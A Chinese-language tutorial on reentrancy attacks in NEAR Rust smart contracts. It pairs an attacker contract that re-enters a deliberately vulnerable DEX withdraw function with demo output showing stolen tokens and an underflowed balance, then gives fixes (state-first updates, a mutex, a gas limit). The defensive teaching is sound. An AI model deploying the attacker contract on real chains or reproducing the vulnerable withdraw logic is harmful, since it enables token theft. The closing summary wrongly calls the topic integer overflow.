Rust 智能合约养成日记: 合约安全之重入攻击
1. 重入攻击原理
我们用现实生活中的简单例子来理解重入攻击:即假设某用户在银行中存有100元现金,当用户想要从银行中取钱时,他将首先告诉柜员-A:“我想要取60元”。柜员-A此时将查询用户的余额为100元,由于该余额大于用户想要取出的数额,所以柜员-A首先将60元现金交给了该位用户。但是当柜员-A还没有来得及将用户的余额更新为40元的时,用户跑去隔壁告诉另一位柜员-B:“我想要取60元”,并隐瞒了刚才已经向柜员-A取钱的事实。由于用户的余额还没有被柜员-A更新,柜员-B检查用户的余额仍旧为100元,因此柜员-B将毫不犹豫地继续将60元交给用户。最终用户实际已经获得了120元现金,大于之前存在银行中的100元现金。
为什么会发生这样的事情呢?究其原因还是因为柜员-A没有事先将用户的60元从该用户的账户中扣除。若柜员-A能事先扣除金额。用户再询问柜员-B取钱时,柜员-B就会发现用户的余额已更新,无法取出比余额(40元)更多的现金了。
以上述“从银行取钱”这一典型过程为例,映射到具体的智能合约世界中来,实际上跨合约调用行为的发生和真正更新本地所维护的合约数据之间也同样地存在一定的时间间隔。而该时间间隔的存在以及这两个步骤之前不恰当的顺序关系,将给攻击者实施重入攻击创造有利条件。
下文第2小节将首先介绍相关的背景知识,第3小节将在NEAR LocalNet中演示说明一个具体的重入攻击例子,以体现代码重入对于部署在NEAR链上的智能合约的危害性。本文最后将具体介绍针对重入攻击的防护技术,帮助大家更好的编写Rust智能合约。
2. 背景知识:NEP141的转账操作
NEP141为NEAR公链上的Fungible Token (以下均用Token简称)标准 。大部分NEAR上的Token都遵循NEP141标准。
当某一用户想要从某一个Pool中,如去中心化交易所 (DEX), 充值(deposite)或者提现(withdraw)一定数额的Token时,用户便可以调用相应的合约接口完成具体的操作。
DEX项目合约在执行所对应的接口函数时,将调用Token合约中的ft_transfer/ft_transfer_call函数,实现正式的转账操作。这两个函数的区别如下:
- 当调用Token合约中的ft_transfer函数时,转账的接收者(receiver_id)为EOA账户。
- 当调用Token合约中的ft_transfer_call函数时,转账的接收者(receiver_id)为合约账户。
而对于
ft_transfer_call
而言,该方法内部除了首先会扣除该笔交易发起者(sender_id)的转账数额,并增加受转账用户(receiver_id)的余额,此外还额外增加了对receiver_id合约中ft_on_transfer(收币函数)的跨合约调用。这里可以简单理解为,此时Token合约将提醒receiver_id合约,有用户存入了指定数额的Token。receiver_id合约将在ft_on_transfer函数中自行维护内部账户的余额管理。
3. 代码重入的具体实例
假设存在如下3个智能合约:
- 合约A: Attacker合约;
攻击者将利用该合约实施后续的攻击交易。 - 合约B: Victim合约。
为一个DEX合约。初始化的时候,Attacker账户拥有余额100,DEX的其他用户拥有余额100。即此时DEX合约总共持有了200个Token。
#[near_bindgen]
#[derive(BorshDeserialize, BorshSerialize)]
pub struct VictimContract {
attacker_balance: u128,
other_balance: u128,
}
impl Default for VictimContract {
fn default() -> Self {
Self {
attacker_balance: 100,
other_balance:100
}
}
}
合约C: Token合约 (NEP141)。
攻击发生前,因为Attacker账户没有从Victim合约提现,所以余额为0,此时Victim合约(DEX)的余额为100+100 =200;
#[near_bindgen]
#[derive(BorshDeserialize, BorshSerialize)]
pub struct FungibleToken {
attacker_balance: u128,
victim_balance: u128
}
impl Default for FungibleToken {
fn default() -> Self {
Self {
attacker_balance: 0,
victim_balance: 200
}
}
下面描述该代码重入攻击的具体流程:
- Attacker合约通过
malicious_call
函数,调用Victim合约(合约B)中的withdraw
函数;
例如此时Attacker给withdraw函数传入amount参数的值为60,希望从合约B中提现60;
impl MaliciousContract {
pub fn malicious_call(&mut self, amount:u128){
ext_victim::withdraw(
amount.into(),
&VICTIM,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL
);
}
...
}
- 在合约B中,
withdraw函数开头处的
assert!(self.attacker_balance>= amount);`将检查Attacker账户是否有足够的余额,此时余额100>60,将通过断言,执行withdraw中后续的步骤。
impl VictimContract {
pub fn withdraw(&mut self,amount: u128) -> Promise{
assert!(self.attacker_balance>= amount);
// Call Attacker的收币函数
ext_ft_token::ft_transfer_call(
amount.into(),
&FT_TOKEN,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
)
.then(ext_self::ft_resolve_transfer(
amount.into(),
&env::current_account_id(),
0,
GAS_FOR_SINGLE_CALL,
))
}
...
}
- 合约B中的withdraw函数接着将调用合约C(FT_Token合约)中的ft_transfer_call函数;
通过上述代码中的ext_ft_token::ft_transfer_call实现跨合约调用。
- 合约C中的ft_transfer_call函数,将更新attacker账户的余额 = 0 + 60 = 60,以及Victim合约账户的余额 = 200 - 60 = 140,随后通过ext_fungible_token_receiver::ft_on_transfer调用合约A的ft_on_transfer“收币”函数。
#[near_bindgen]
impl FungibleToken {
pub fn ft_transfer_call(&mut self,amount: u128)-> PromiseOrValue<U128>{
// 相当于 internal_ft_transfer
self.attacker_balance += amount;
self.victim_balance -= amount;
// Call Attacker的收币函数
ext_fungible_token_receiver::ft_on_transfer(
amount.into(),
&ATTACKER,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL
).into()
}
...
}
- 由于合约A被Attacker所控制,并且代码存在恶意的行为。所以该“恶意”的ft_on_transfer函数可以再次通过执行
ext_victim::withdraw
,调用合约B中的withdraw函数, 以此达到重入的效果 。
#[near_bindgen]
impl MaliciousContract {
pub fn ft_on_transfer(&mut self, amount: u128){
// 恶意合约的收币函数
if self.reentered == false{
ext_victim::withdraw(
amount.into(),
&VICTIM,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL
);
}
self.reentered = true;
}
...
}
- 由于上一次进入withdraw以来,victim合约中的attacker_balance还没有更新,所以还是100,因此此时仍旧可以通过
assert!(self.attacker_balance>= amount)
的检查。withdraw后续将再次在FT_Token合约中跨合约调用ft_transfer_call函数,更新attacker账户的余额 = 60 + 60 = 120,以及Victim合约账户的余额 = 140 - 60 = 80; - ft_transfer_call再次调用回Attacker合约中的ft_on_transfer函数。由于目前设置合约A中ft_on_transfer函数只会重入withdraw函数一次,所以重入行为在本次ft_on_transfer的调用时终止。
- 此后函数将沿着之前的调用链逐级返回,导致合约B中的withdraw函数中在更新self.attacker_balance的时候,最终使得self.attacker_balance = 100 -60 -60 = -20
- 由于self.attacker_balance是u128,且并没有使用safe_math,因此将导致整数的溢出现象。
最终执行的结果如下:
$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Victim::attacker_balance:3.402823669209385e+38
FT_Token::attacker_balance:120
FT_Token::victim_balance:80
即尽管用户Attacker在DEX中锁定的FungibleToken余额仅100,但是最终Attacker实际获得的转账为120,实现了本次代码重入攻击的目的。
4. 代码重入防护技术
4.1 先更新和与状态(先扣钱),再转账。
更改合约B代码 withdraw中的执行逻辑为:
#[near_bindgen]
impl VictimContract {
pub fn withdraw(&mut self,amount: u128) -> Promise{
assert!(self.attacker_balance>= amount);
self.attacker_balance -= amount;
// Call Attacker的收币函数
ext_ft_token::ft_transfer_call(
amount.into(),
&FT_TOKEN,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
)
.then(ext_self::ft_resolve_transfer(
amount.into(),
&env::current_account_id(),
0,
GAS_FOR_SINGLE_CALL,
))
}
#[private]
pub fn ft_resolve_transfer(&mut self, amount: u128) {
match env::promise_result(0) {
PromiseResult::NotReady => unreachable!(),
PromiseResult::Successful(_) => {
}
PromiseResult::Failed => {
// 若ext_ft_token::ft_transfer_call跨合约调用转账失败,
// 则回滚之前账户余额状态的更新
self.attacker_balance += amount;
}
};
}
此时的执行效果如下:
$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 873C5WqMyaXBFM3dmoR9t1sSo4g5PugUF8ddvmBS6g3X
Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Smart contract panicked: panicked at 'assertion failed: self.attacker_balance >= amount', src/lib.rs:45:9"}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140
可见由于此时的Victim合约在withdraw的时候事先更新了用户的余额,在调用外部的FungibleToken实施转账。因此当第二次重入了withdraw的时候,Victim合约中保存的attacker_balance已经更新为40,因此将无法通过
assert!(self.attacker_balance>= amount);
使得Attcker的调用流程由于触发了Assertion Panic,无法利用代码重入进行套利。
4.2 引入互斥锁
该方法类似于当柜员-A还没有来得及将用户的余额更新为40元的时,用户跑去隔壁告诉另一位柜员-B:“我想要取60元”。尽管用户隐瞒了刚才已经向柜员-A取钱的事实。但是柜员-B却能够知道用户已经去过柜员-A那里,并且还没有办结所有的事项,此时柜员-B便可以拒绝用户来取钱。通常情况下可以通过引入一个状态变量,来实现一个互斥锁
4.3 设置Gas Limit
例如在DEX合约的withdraw方法调用ext_ft_token::ft_transfer_call时,设置一个适当的Gas Limit。此Gas Limit将不够支持下一次代码再次重入DEX合约的withdraw函数,以此阻断重入攻击的能力。
例如对代码做如下修改,限制withdraw方法调用外部函数时的Gas Limit:
pub fn withdraw(&mut self,amount: u128) -> Promise{
assert!(self.attacker_balance>= amount);
// Call Attacker的收币函数
ext_ft_token::ft_transfer_call(
amount.into(),
&FT_TOKEN,
0,
- env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
+ GAS_FOR_SINGLE_CALL * 3
)
.then(ext_self::ft_resolve_transfer(
amount.into(),
&env::current_account_id(),
0,
GAS_FOR_SINGLE_CALL,
))
}
修改后执行效果如下
$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 5xsywUr4SePqfuotLXMragAC8P6wJuKGBuy5CTJSxRMX
Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Exceeded the prepaid gas."}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140
可见限制跨合约函数调用时的Gas Limit也能起到防止重入攻击的效果。
本期总结和预告
这一期我们讲述了rust智能合约中的整数溢出问题,同时给出了建议,在书写代码时尽量先更新状态,再执行转账操作,并且设定合适的gas值,可以有效抵御重入攻击,下一期我们将讲述rust智能合约中的DoS问题,敬请关注。